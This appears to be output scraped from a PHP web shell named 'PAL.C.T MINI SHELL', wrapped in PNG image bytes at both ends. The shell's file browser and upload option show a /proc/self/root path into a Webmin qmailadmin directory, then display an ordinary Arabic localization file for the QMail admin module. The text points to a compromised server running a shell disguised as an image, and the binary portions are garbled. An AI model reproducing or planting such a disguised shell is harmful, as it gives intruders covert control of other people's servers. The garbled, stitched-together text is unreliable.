php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/qmailadmin/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/qmailadmin/lang/ar.auto

index_title=خادم بريد QMail
index_edir=دليل QMail الأساسي$1 غير موجود. ربما لم يتم تثبيت QMail أو أن <a href='$2'>تهيئة الوحدة النمطية</a> غير صحيحة.
index_edir2=لا يبدو أن الدليل$1 هو دليل QMail الأساسي. ربما لم يتم تثبيت QMail أو أن <a href='$2'>تهيئة الوحدة النمطية</a> غير صحيحة.
index_return=تكوين QMail
index_stop=أوقف عمليات QMail
index_stopmsg=انقر فوق هذا الزر لإيقاف عمليات QMail الخلفية المسؤولة عن تسليم البريد في قائمة الانتظار. بدون هذه العمليات ، لن يتم إرسال البريد أو تسليمه إلى نظامك بشكل صحيح.
index_start=ابدأ عمليات QMail
index_startmsg=انقر فوق هذا الزر لبدء عمليات QMail الخلفية المسؤولة عن تسليم البريد في قائمة الانتظار. بدون هذه العمليات ، لن يتم إرسال البريد أو تسليمه إلى نظامك بشكل صحيح.

opts_title=خيارات QMail
opts_me=اسم المضيف المحلي
opts_helo=اسم المضيف لـ SMTP HELO
opts_toconnect=مهلة اتصال SMTP
opts_secs=ثواني
opts_toremote=مهلة استجابة SMTP الصادرة
opts_bytes=الحد الأقصى لحجم الرسالة
opts_unlimited=غير محدود
opts_timeout=مهلة البيانات الواردة SMTP
opts_localip=اسم المضيف للبريد الإلكتروني إلى عنوان IP المحلي
opts_greet=رسالة ترحيب SMTP
opts_err=فشل في حفظ خيارات QMail
opts_eme=اسم مضيف محلي غير صالح
opts_etoconnect=مهلة اتصال SMTP غير صالحة
opts_etoremote=مهلة استجابة صادرة SMTP غير صالحة
opts_ebytes=الحد الأقصى لحجم الرسالة غير صالح
opts_etimeout=مهلة بيانات SMTP غير صالحة
opts_elocalip=اسم مضيف عنوان IP المحلي غير صالح

aliases_title=الأسماء المستعارة للبريد
aliases_addr=عنوان
aliases_to=الاسم المستعار ل ..
aliases_type1=العنوان 1
aliases_type2=دليل البريد$1
aliases_type3=ملف البريد$1
aliases_type4=برنامج$1
aliases_type5=ملف الرد التلقائي$1
aliases_type6=تطبيق ملف التصفية$1
aliases_none=لا يوجد
aliases_return=قائمة الاسم المستعار
aliases_toomany=هناك عدد كبير جدًا من الأسماء المستعارة للبريد على نظامك لعرضها في هذه الصفحة.
aliases_go=البحث عن الأسماء المستعارة المطابقة:
aliases_delete=حذف الأسماء المستعارة المحددة

aform_type0=لا يوجد
aform_type1=عنوان البريد الإلكتروني
aform_type2=دليل البريد
aform_type3=ملف البريد
aform_type4=تغذية البرنامج
aform_type5=رد تلقائي من الملف
aform_type6=تطبيق ملف التصفية
aform_edit=تعديل الاسم المستعار
aform_create=إنشاء اسم مستعار
aform_name=عنوان
aform_val=الاسم المستعار ل
aform_afile=تعديل ..
aform_novirt=&lt;جميع المجالات&gt;
aform_return=الاسم المستعار

asave_err=فشل في حفظ الاسم المستعار
asave_eaddr=إن '$1' ليس عنوانًا صالحًا
asave_ealready=الاسم المستعار لـ '$1' موجود بالفعل
asave_etype1=إن '$1' ليس عنوان بريد إلكتروني صالحًا
asave_etype2=إن '$1' ليس دليل بريد صالحًا
asave_etype3=إن '$1' ليس اسم ملف بريد صالح
asave_etype4=إن '$1' ليس برنامجًا صالحًا أو أنه غير موجود
asave_etype5=ملف الرد التلقائي '$1' غير صالح
asave_etype4none=لا يوجد برنامج معين
asave_etype6=ملف التصفية '$1' غير صالح

adelete_err=فشل حذف الأسماء المستعارة
adelete_enone=لم يتم تحديد شيء

locals_title=المجالات المحلية
locals_domains=المجالات المحلية لهذا الخادم
locals_desc=سيقبل Qmail التسليم إلى المستخدمين المحليين بالبريد الإلكتروني إلى المجالات وأسماء المضيفات المدرجة في مربع النص إلى اليسار. إذا كنت تريد أن يتعامل خادم البريد مع نطاقات بريد إلكتروني متعددة ، فيجب إدراجها جميعًا في هذا النموذج.
locals_only=فقط اسم المضيف المحلي$1
locals_sel=المجالات المدرجة أدناه ..

rcpts_title=المجالات المقبولة
rcpts_domains=قبول المجالات المحلية والترحيل
rcpts_all=أي مجال
rcpts_sel=المجالات المدرجة أدناه ..
rcpts_desc=سيقبل Qmail ترحيل البريد أو تسليمه محليًا فقط إلى المجالات وأسماء المضيف المدرجة في مربع النص إلى اليسار. يمكنك أيضًا إدخال أحرف البدل التي تطابق جميع المضيفين في مجال مثل <tt>.foo.com</tt>. إذا كنت تريد أن يقوم خادم البريد الخاص بك بترحيل البريد الإلكتروني للعملاء ، يجب عليك قبول البريد من أي مجال.
rcpts_domains2=مجالات محلية وتتابع إضافية
rcpts_desc2=إذا كان لديك عدد كبير من المجالات المقبولة ، فيجب إدخال المجالات الأقل استخدامًا في مربع النص هذا. بشكل عام ، يجب إدخال أول 50 نطاقًا مسموحًا به في مربع النص العلوي ، والباقي في هذا المجال.

bads_title=العناوين المرفوضة
bads_addresses=عناوين البريد الإلكتروني المرفوضة
bads_desc=سيرفض QMail البريد للتسليم أو الترحيل من أي من العناوين المدرجة في مربع النص إلى اليسار ، والتي يجب إدخالها كـ <tt>username @ domainname</tt>. إذا كنت تريد رفض البريد من نطاق بأكمله ، فيجب إدخاله كـ <tt>domainname</tt>.

routes_title=توجيه المجال
routes_toomany=هناك عدد كبير جدًا من مسارات النطاقات على نظامك لعرضها في هذه الصفحة.
routes_go=البحث عن مسارات المجال المطابقة:
routes_from=بريد المجال
routes_to=إرسال عبر الخادم
routes_direct=تسليم مباشرة
routes_defroute=تسليم جميع البريد الصادر عبر:
routes_return=مسارات المجال
routes_delete=حذف مسارات المجال المحددة

rform_edit=تحرير مسار المجال
rform_create=إنشاء مسار المجال
rform_from=البريد للمضيف أو المجال
rform_to=إرسال عبر خادم SMTP
rform_port=منفذ SMTP

rsave_err=فشل في حفظ مسار المجال
rsave_efrom=إن '$1' ليس اسم مجال صالحًا
rsave_eto=إن '$1' ليس خادم SMTP صالحًا
rsave_eport=إن '$1' ليس رقم منفذ صالحًا

rdelete_err=فشل في حذف مسارات المجال

percents_title=٪ مجالات العنوان
percents_domains=المجالات التي تدعم عناوين ٪
percents_desc=سيقبل QMail البريد الإلكتروني بعناوين بتنسيق <tt>user٪firstdomain@seconddomain</tt> إذا كان <tt>seconddomain</tt> مُدرجًا في مربع النص إلى اليسار. سيتم بعد ذلك إعادة توجيه الرسائل بهذا التنسيق إلى <tt>user@firstdomain</tt> بواسطة خادم البريد هذا.

virts_title=خرائط افتراضية
virts_toomany=يوجد عدد كبير جدًا من التعيينات الافتراضية على نظامك لعرضها على هذه الصفحة.
virts_go=البحث عن مطابقة التعيينات الافتراضية:
virts_from=بريد ل
virts_prepend=تحضير البادئة
virts_all=جميع العناوين
virts_none=ليست افتراضية
virts_desc=يتم استخدام التعيينات الافتراضية بواسطة QMail للتعامل مع البريد الإلكتروني إلى نطاقات مختلفة على الخادم الخاص بك ، من خلال إرسال نص إلى جزء المستخدم من عنوان البريد الإلكتروني قبل المعالجة الإضافية. يمكنك استخدامها لإعداد نطاقات البريد الافتراضي عن طريق إنشاء تعيين ظاهري جديد للمجال ، ثم استخدام صفحة <a href='$1'>الأسماء المستعارة للبريد</a> لإنشاء أسماء مستعارة داخل ذلك النطاق.
virts_return=تعيينات افتراضية
virts_delete=حذف التعيينات الافتراضية المحددة

vform_edit=تحرير الخرائط الافتراضية
vform_create=إنشاء رسم تخطيطي افتراضي
vform_from=العنوان البريدي
vform_all=أي عنوان لا يتطابق مع تعيين ظاهري آخر
vform_domain=عناوين المجال
vform_user=عنوان
vform_to=أضف اسم المستخدم
vform_none=لا شيئ
vform_prepend=البادئة المحددة
vform_auto=البادئة المختارة تلقائيًا

vsave_err=فشل حفظ التعيين الظاهري
vsave_edomain=إن '$1' ليس مجال بريد إلكتروني صالح
vsave_euser=إن '$1' ليس اسم مستخدم صالح للبريد الإلكتروني
vsave_eprepend=إن '$1' ليست بادئة تعيين صالحة
vsave_eboth=لا يمكنك تحديد كل من "أي عنوان لا يتطابق مع تعيين ظاهري آخر" و "لا شيء"

vdelete_err=فشل حذف التعيينات الافتراضية

stop_err=لم تعد عملية إرسال qmail قيد التشغيل

log_stop=توقف عمليات QMail
log_start=بدء عمليات QMail
log_opts=خيارات QMail التي تم تغييرها
log_alias_create=الاسم المستعار الذي تم إنشاؤه$1
log_alias_delete=حذف الاسم المستعار$1
log_alias_modify=الاسم المستعار المعدل$1
log_delete_aliases=تم حذف الأسماء المستعارة$1
log_virt_create=إنشاء تعيين ظاهري$1
log_virt_delete=تعيين ظاهري محذوف$1
log_virt_modify=تعيين ظاهري معدل$1
log_delete_virts=تم حذف تعيينات ظاهرية$1
log_virtall_create=إنشاء رسم خرائط افتراضية
log_virtall_delete=تم حذف الخرائط الافتراضية
log_virtall_modify=خرائط افتراضية معدلة
log_locals=تغيير المجالات المحلية
log_rcpts=تم تغيير المجالات المقبولة
log_bads=تم تغيير العناوين المرفوضة
log_percents=تم تغيير ٪ مجالات العنوان
log_route_create=تم إنشاء المسار لـ$1
log_route_delete=توجيه محذوف لـ$1
log_route_modifed=توجيه معدل لـ$1
log_delete_routes=تم حذف مسارات$1
log_defroute=تعديل المسار الافتراضي
log_assign_create=مستخدم بريد تم إنشاؤه$1
log_assign_delete=مستخدم البريد المحذوف$1
log_assign_modifed=مستخدم البريد المعدل$1
log_delete_assigns=تم حذف مستخدمي البريد$1
log_delmail=تم حذف$1 رسائل من$2
log_movemail=تم نقل رسائل$1 من$2 إلى$3
log_send=إرسال بريد إلى$1

rfile_title=تحرير ملف رد تلقائي
rfile_desc=استخدم منطقة النص أدناه لتحرير رسالة الرد التلقائي في$1. قد تحتوي الرسالة على وحدات الماكرو $SUBJECT و $FROM و $TO و $DATE و $BODY والتي سيتم توسيعها عند تنشيط الرد التلقائي.
rfile_desc2=يمكنك أيضًا تعيين رؤوس البريد التي تضيف إلى الإعدادات الافتراضية المستخدمة في الرد التلقائي أو تحل محلها بوضع خطوط مثل: <br><tt> من: foo@bar.com </tt><br> <tt>الموضوع: في عطلة</tt> <br> أعلى الرسالة ، مفصولة عن النص بواسطة سطر فارغ واحد.
rfile_efile=غير مسموح لك بتحرير$1.
rfile_undo=التراجع عن التغييرات
rfile_replies=تتبع الردود لمنع حلقات البريد؟
rfile_none=لا
rfile_file=نعم ، باستخدام ملف السجل
rfile_period=الفاصل الزمني الأدنى بين الردود
rfile_default=افتراضي (ساعة واحدة)
rfile_secs=ثواني
rfile_ereplies=ملف سجل تتبع الرد مفقود
rfile_eperiod=عدد الثواني مفقود أو غير صالح بين الردود
rfile_no_autoreply=لا ترسل الردود التلقائية إلى
rfile_from=من: عنوان للرد
rfile_auto=تلقائي (بناءً على عنوان المستلم)
rfile_efrom=مفقود من: العنوان
rfile_fromdesc=ج: يجب تحديد العنوان دائمًا حيثما أمكن ، حيث قد لا تكون الطريقة التلقائية موثوقة.

ffile_title=تحرير ملف التصفية
ffile_desc=استخدم النموذج أدناه لإعداد قواعد التصفية في الملف$1.
ffile_efile=غير مسموح لك بتحرير$1.
ffile_line=إذا كان الحقل$1 $2$3 ، فقم بإعادة التوجيه إلى$4
ffile_from=من عند
ffile_to=إلى
ffile_subject=موضوع
ffile_cc=نسخة
ffile_body=الجسم
ffile_what0=لا تتطابق
ffile_what1=اعواد الكبريت
ffile_other=وإلا قم بإعادة التوجيه إلى$1
ffile_err=فشل في حفظ ملف التصفية
ffile_ematch=مباراة مفقودة
ffile_eaction=عنوان إعادة التوجيه مفقود

queue_title=قائمة انتظار البريد
queue_count=$1 رسائل
queue_none=لا توجد رسائل بريد في قائمة الانتظار للتسليم حاليًا
queue_id=رقم البريد
queue_date=أرسلت
queue_from=من عند
queue_to=إلى
queue_cc=نسخة
queue_subject=موضوع
queue_return=قائمة انتظار البريد
queue_delete=حذف الرسائل المختارة
queue_all=اختر الكل
queue_invert=اختيار المقلوب
queue_refresh=تحديث قائمة انتظار البريد
queue_refreshdesc=أعد تحميل هذه الصفحة لإظهار الحالة الحالية لقائمة انتظار البريد.

qview_title=رسالة في قائمة الانتظار
qview_desc=من الملف$1
qview_headers=رؤوس البريد
qview_attach=المرفقات

assigns_title=تعيينات مستخدم البريد
assigns_return=تعيينات مستخدم البريد
assigns_toomany=يوجد عدد كبير جدًا من مستخدمي البريد على نظامك لعرضه على هذه الصفحة.
assigns_go=البحث عن مستخدمي البريد المطابقين:
assigns_address=البريد إلى العنوان
assigns_user=مستخدم يونكس
assigns_uid=UID
assigns_gid=GID
assigns_home=الدليل الرئيسي
assigns_desc=تتيح لك تعيينات مستخدم البريد إنشاء صناديق بريد للمستخدمين غير المحددين في قائمة مستخدمي Unix. ستسلم كل مهمة بريدًا لاسم مستخدم أو نمط اسم مستخدم مختار ، كما لو كان يتم تسليمه إلى صندوق بريد مستخدم Unix حقيقي.
assigns_delete=حذف مستخدمي البريد المحدد

sform_edit=تحرير مستخدم البريد
sform_create=إنشاء مستخدم بريد
sform_address=عنوان مستخدم العنوان
sform_mode0=اسم المستخدم بالضبط
sform_mode1=تبدأ أسماء المستخدمين بـ
sform_user=مستخدم يونكس
sform_uid=UID
sform_gid=GID
sform_home=الدليل الرئيسي

ssave_err=فشل في حفظ مستخدم البريد
ssave_eaddress=اسم مستخدم العنوان مفقود أو غير صالح
ssave_euser=مستخدم Unix مفقود أو غير صالح
ssave_euid=UID مفقود أو غير صالح
ssave_egid=GID مفقود أو غير صالح
ssave_ehome=دليل المنزل مفقود أو غير صالح

sdelete_err=فشل حذف مستخدمي البريد

delete_egone=لم تعد الرسالة المدرجة في قائمة الانتظار موجودة
delete_ebogus=اسم ملف قائمة الانتظار غير صالح

boxes_title=علب بريد المستخدم
boxes_user=المستعمل
boxes_size=حجم صندوق البريد
boxes_none=لا بريد
boxes_return=علب البريد
boxes_sent=البريد المرسل
boxes_ecannot=لا يسمح لك بقراءة البريد الإلكتروني
boxes_toomany=هناك عدد كبير جدًا من المستخدمين على نظامك لإدراج جميع صناديق البريد الخاصة بهم.
boxes_go=عرض البريد للمستخدم:

mail_title=البريد الالكتروني للمستخدم
mail_from=من عند
mail_date=تاريخ
mail_subject=موضوع
mail_to=إلى
mail_cc=نسخة
mail_bcc=نسخة مخفية الوجهة
mail_pri=أفضلية
mail_highest=أعلى
mail_high=عالي
mail_normal=عادي
mail_low=منخفض
mail_lowest=الأدنى
mail_for=في 1
mail_for2=للمستخدم$1
mail_sent=في قائمة البريد المرسل
mail_size=بحجم
mail_delete=حذف
mail_compose=مؤلف موسيقى
mail_return=صندوق بريد المستخدم
mail_pos=الرسائل$1 إلى$2 من$3
mail_none=صندوق البريد هذا لا يحتوي على رسائل
mail_ecannot=غير مسموح لك بقراءة البريد الإلكتروني لهذا المستخدم
mail_all=اختر الكل
mail_invert=اختيار المقلوب
mail_search=البحث عن رسائل حيث
mail_body=الجسم
mail_match=اعواد الكبريت
mail_ok=بحث
mail_nonefrom=لا يوجد
mail_mark=وضع علامة كـ:
mail_mark0=غير مقروء
mail_mark1=اقرأ
mail_mark2=مميز
mail_forward=إلى الأمام
mail_rfc=من السطر
mail_move=الانتقال إلى:
mail_eexists=الرسالة لم تعد موجودة!

view_title=قراءة البريد الإلكتروني
view_desc=الرسالة$1 في$2
view_desc2=الرسالة$1 للمستخدم$2
view_desc3=الرسالة$1
view_sent=الرسالة$1 في قائمة البريد المرسل
view_qdesc=رسالة في قائمة الانتظار$1
view_headers=رؤوس البريد
view_allheaders=عرض جميع الرؤوس
view_noheaders=عرض الرؤوس الأساسية
view_attach=المرفقات
view_reply=الرد
view_reply2=الرد على الجميع
view_enew=تعديل كجديد
view_forward=إلى الأمام
view_delete=حذف
view_strip=إزالة المرفقات
view_ecannot=غير مسموح لك بقراءة البريد الإلكتروني لهذا المستخدم
view_mark=وضع علامة على الرسالة على أنها:
view_mark0=غير مقروء
view_mark1=اقرأ
view_mark2=مميز
view_return=البريد الإلكتروني الأصلي
view_sub=البريد الالكتروني المرفق

compose_title=إنشاء بريد إلكتروني
reply_title=الرد على البريد الإلكتروني
forward_title=إعادة توجيه البريد الإلكتروني
enew_title=تحرير البريد الإلكتروني
reply_headers=رؤوس البريد
reply_attach=المرفقات المعاد توجيهها
reply_mailforward=الرسائل المعاد توجيهها
reply_attach2=المرفقات من جانب العميل والخادم
reply_send=ارسل بريد
reply_ecannot=لا يسمح لك بإرسال البريد باسم هذا المستخدم

send_err=فشل إرسال البريد
send_eto=العنوان مفقود
send_efrom=العنوان مفقود
send_title=تم إرسال البريد
send_ok=تم إرسال البريد بنجاح إلى$1
send_ecannot=لا يسمح لك بإرسال البريد باسم هذا المستخدم
send_esmtp=فشل أمر SMTP $1 : $2 
send_efile=الملف المرفق$1 غير موجود
send_eattach=لا يمكن أن يصل إجمالي حجم المرفقات إلى$1 كيلوبايت.
send_eperms=لا يمكن للمستخدم$1 قراءة$2
send_eperms2=غير مسموح لك بإرسال الملف$1
send_epath=الملف القابل للتنفيذ لـ Sendmail $1 غير موجود.

delete_title=حذف البريد
delete_rusure=هل تريد بالتأكيد حذف الرسائل المحددة$1 من$2؟ قد يستغرق هذا بعض الوقت لملف بريد كبير. حتى الانتهاء من الحذف ، لا ينبغي تنفيذ أي إجراء آخر.
delete_rusure2=هل تريد بالتأكيد حذف هذه الرسالة من$1؟ قد يستغرق هذا بعض الوقت لملف بريد كبير. حتى الانتهاء من الحذف ، لا ينبغي تنفيذ أي إجراء آخر.
delete_ok=احذف الان
delete_ecannot=مسموح لك الآن بحذف البريد من هذا المستخدم
delete_enone=لم يتم تحديد بريد لحذفه
delete_emnone=لم يتم تحديد بريد لوضع علامة عليه
delete_nobutton=لم يتم النقر على أي زر

search_title=نتائج البحث
search_ecannot=لا يسمح لك بالبحث في البريد الإلكتروني لهذا المستخدم
search_ematch=يجب عليك إدخال نص لمطابقة ضده.
search_efield=يجب عليك تحديد نوع البحث.
search_none=لا توجد رسائل.
search_results2=$1 رسائل بريدية تتطابق مع$2 ..
search_results3=$1 رسالة بريد لا تتطابق مع$2 ..

match_from=من: المباريات
match_subject=الموضوع: المباريات
match_to=إلى: المباريات
match_cc=نسخة إلى: مباريات
match_date=التاريخ: المباريات
match_body=مباريات الجسم
match_size=الحجم أكبر من
match_headers=مطابقة الرؤوس
match_=-----------------
match_!from=من: لا يتطابق
match_!subject=الموضوع: لا يتطابق
match_!to=إلى: لا تتطابق
match_!cc=نسخة إلى: لا تتطابق
match_!date=التاريخ: غير متطابق
match_!body=الجسم لا يتطابق
match_!size=الحجم أقل من
match_!headers=لا تتطابق العناوين

delq_titles=حذف الرسائل
delq_rusure=هل تريد بالتأكيد حذف الرسائل الموضوعة في قائمة الانتظار$1 المحددة؟
delq_confirm=حذف الرسائل
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`